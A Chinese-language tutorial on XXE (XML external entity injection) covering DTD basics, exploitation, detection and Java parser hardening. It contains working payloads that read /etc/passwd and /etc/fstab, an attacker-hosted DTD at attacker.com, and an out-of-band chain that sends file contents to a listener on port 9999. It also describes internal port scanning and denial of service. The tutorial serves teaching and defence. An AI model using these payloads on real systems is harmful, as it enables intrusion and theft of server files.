XXE 外部实体注入漏洞 XMLexternal entity injection,下图所示为XML注入。
目录
-
什么是xxe?
-
如何发现xxe漏洞?
-
如何修护xxe漏洞?
什么是XXE漏洞?
XXE:XML外部实体注入漏洞, 这里注入的就不再是像上图的XML,而是外部实体。该漏洞基于ssrf漏洞,因为注入的是外部实体,所以我们把注意集中在外部实体即可,如果外部实体能够得到解析,那就能造成很大的危害,你现在能想到造成什么危害吗?这个漏洞的出现是因为滥用了XML解析器中定义的广泛可用而很少用到的功能而产生的漏洞。
这里有提到XML,那XML是什么呢?
XML是一种可扩展标记语言,XML 被设计用来传输、存储和共享数据。可以理解为HTML的一种补充,他分为两部分,一部分是标签的定义,一部分是标签的解释,而标签的解释也称为DTD(document typedefinition)
这里提到DTD,那DTD文档又是什么?
DTD,即文档类型定义,是一种XML约束模式语言,用来解释XML文档。DTD和XML可以理解为数据表结构及数据记录,属于XML文件组成的一部分。
DTD文档有三种应用形式:
-
内部DTD文档
<!DOCTYPE 根元素[定义内容]>
如:
<?xml version="1.0"encoding="UTF-8"?>
<!DOCTYPE note [<!--定义此文档是关于note元素的文档-->
<!ELEMENT note(to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为"#PCDATA"类型-->
]>
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>hello</body>
</note>
-
外部DTD文档
<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
如:
1.新建一个dtd文档outdtd.dtd
<?xml version="1.0"encoding="UTF-8"?>
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
2.新建一个xml文档outdtd.xml
<?xml version="1.0"encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "outdtd.dtd">
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>hello</body>
</note>
-
内外DTD文档结合
<!DOCTYPE 根元素 SYSTEM "DTD文件路径"[定义内容]>
如:
1.新建一个dtd文档out2dtd.dtd
<?xml version="1.0"encoding="UTF-8"?>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
2.新建一个xml文档out2dtd.xml
<?xml version="1.0"encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "out2dtd.dtd"[
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
]>
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>hello</body>
</note>
好了,介绍完了DTD文档的一些格式之后,我们来看看我们的重点XML实体,实体可以看成是变量,可以通过&/%来引用。
XML实体分为普通实体及参数实体,我们用一张表来总结一下。
普通实体引入外部实体:
<?xml version="1.0"encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<note>
&xxe;
</note>
参数实体引入外部实体:
<?xml version="1.0"encoding="UTF-8"?>
<!DOCTYPE % note [
<!ENTITY % a SYSTEM "http://www.test.com/outdtd.dtd">
%a;
]>
<note>
&xxe;
</note>
在outdtd.dtd中:
<!ENTITY xxe SYSTEM "file:///etc/passwd">
除了引入自己定义的dtd文件之外,还能引用公用的dtd文件:
<!DOCTYPE 根元素名称 PUBLIC "dtd标识名" "公用dtd的uri">
xxe漏洞危害
我们看一下服务器可能的xml代码,此处为有回显的:
<?php
libxml_disable_entity_loader(false);
$xmlfile= file_get_contents('php://input');
$dom= new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds= simplexml_import_dom($dom);
echo$creds;
?>
针对上面的代码,我们可以怎么进行尝试注入呢?
-
任意文件读取
(但是如果读取的文件中包含了特殊格式,使得不能正常读取,这时可以使用CDATA标签来避免解析器解析CDATA标签中定义的内容)
简化请求包:
POSThttp://example.com/xmlHTTP/1.1
<?xmlversion="1.0" encoding="ISO-8859-1"?>
<!DOCTYPEdata [
<!ENTITY% dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
%all;
]>
<data>&fileContents;</data>
攻击者的dtd(attacker.com/evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents'%start;%file;%end;'>">
(在参数fileContents中拼接了start、file、end参数,目的是读取/etc/fstab目录下的内容)
如果发现对方的服务器用的是php语言,则还可以使用php://filter,如下:
简化请求包:
POSThttp://example.com/xmlHTTP/1.1
<?xmlversion="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY barSYSTEM "php://filter/read=convert.base64-encode/resource=/etc/fstab">
]>
<foo>&bar;</foo>
这里我们进行了base64编码,所以接收到响应之后,我们进行base64解码即可。
那如果服务器不回显给我们,那我们是不是可以尝试在外部实体中发起向我们自己搭建的服务器的请求,并且在我们搭建平台中尝试读取敏感文件,最终返回到我们的服务器那边,我们看一下可能的服务器代码:
<?php
libxml_disable_entity_loader(false);
$xmlfile= file_get_contents('php://input');
$dom= new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
?>
我们尝试进行注入:
payload:
<!DOCTYPE convert[
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
而在我们自己搭建的平台这边的test.dtd中:
<!ENTITY % file SYSTEM"php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
最终我们在我们搭建的平台这边用nc监听9999端口可以看到请求。
过程:
在这个payload中连续调用了三个实体参数,先remote参数请求远程服务器的test.dtd,然后用int参数调用test.dtd中的file参数,而file参数会去获取服务器的敏感文件,最后将file参数的结果填入到send参数中(实体的值中不能有%,所以将其转化为html实体编码%)我们调用send参数,将读取到的数据发送到我们远程服务器上,这样就实现了外带数据的效果,完美解决了XXE无回显的问题。
思考:
我们这里尝试通过file读取一些敏感文件,或者http发起请求,这其实类似于ssrf,这也是在最开始概念中说xxe基于ssrf的原因,那我们如果把远程服务器地址换成内网地址,是不是就能实现和ssrf一样的效果呢?
-
端口扫描
payload:
<?xmlversion="1.0"?>
<!DOCTYPEroot[
<!ENTITY entity SYSTEM "http://ip:1234">
]>
<root>&entity;</root>
或者:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root SYSTEM "http://ip:1234"[
<!ELEMENT root (#PCDATA)>
]>
<root>2</root>
更多端口探测,我们可以使用burpsuite中的爆破模块来进行探测。
探测内网服务
-
内网攻击get型payload
st2命令执行、discuz ssrf通过redis实施getshell
-
指纹识别
应用的版本信息
-
dos拒绝服务攻击
通过递归调用,占用大量服务资源
讲完了XXE漏洞的一些利用及危害,还没说过如何发现xxe漏洞。
-
我们可以判断POST请求包中的xml是否被解析,构造如下数据包:
Content-Type: application/xml
Content-Length: 123
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE any[
<!ENTITY hello "hello">
]>
<hi>&hello</hi>
查看其返回,如果能被解析,则发送构造了payload的数据包过去,看是否仍然能被解析。
-
看是否是xfire开发的或者某些wsdl结尾的文件
解析wsdl文件生成request,可以利用soap解析工具,当生成request之后可将实体编码的payload放到<queryInfo>标签后面,若服务器存在此漏洞,则会根据payload中的内容做指定操作,如远程访问访问我们的主机,这是我们可以监听对应的端口,查看结果。
-
查看有明显的XML作为内容的输入点的,及某些以json格式的request。
我们可以看一下XXE漏洞在Java语言中常见的第三方库中的体现:
org.dom4j.io.SAXReader;
org.jdom2.input.SAXBuilder;
org.xml.sax.helpers.XMLReaderFactory;
org.xml.sax.XMLReader;
javax.xml.parsers.DocumentBuilder;
javax.xml.parsers.DocumentBuilderFactory;
javax.xml.parsers.SAXParser;
javax.xml.parsers.SAXParserFactory;
javax.xml.stream.XMLStreamReader;
…
在Java6.0之前就有四种:DOM、SAX、JDOM、DOM4J,6.0之后还有一个STAX
最后防御部分:
禁用外部实体,配置XML parser只能使用静态dtd
过滤及验证用户提交的xml数据
不允许xml中含有任何自己声明的dtd
Java语言举例:通过设置响应的属性值为false
DocumentBuilderFactorydbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities",false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
DocumentBuilderdb = dbf.newDocumentBuilder();
参考链接:https://xz.aliyun.com/t/3357
原文始发于微信公众号(Medi0cr1ty):XXE漏洞详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论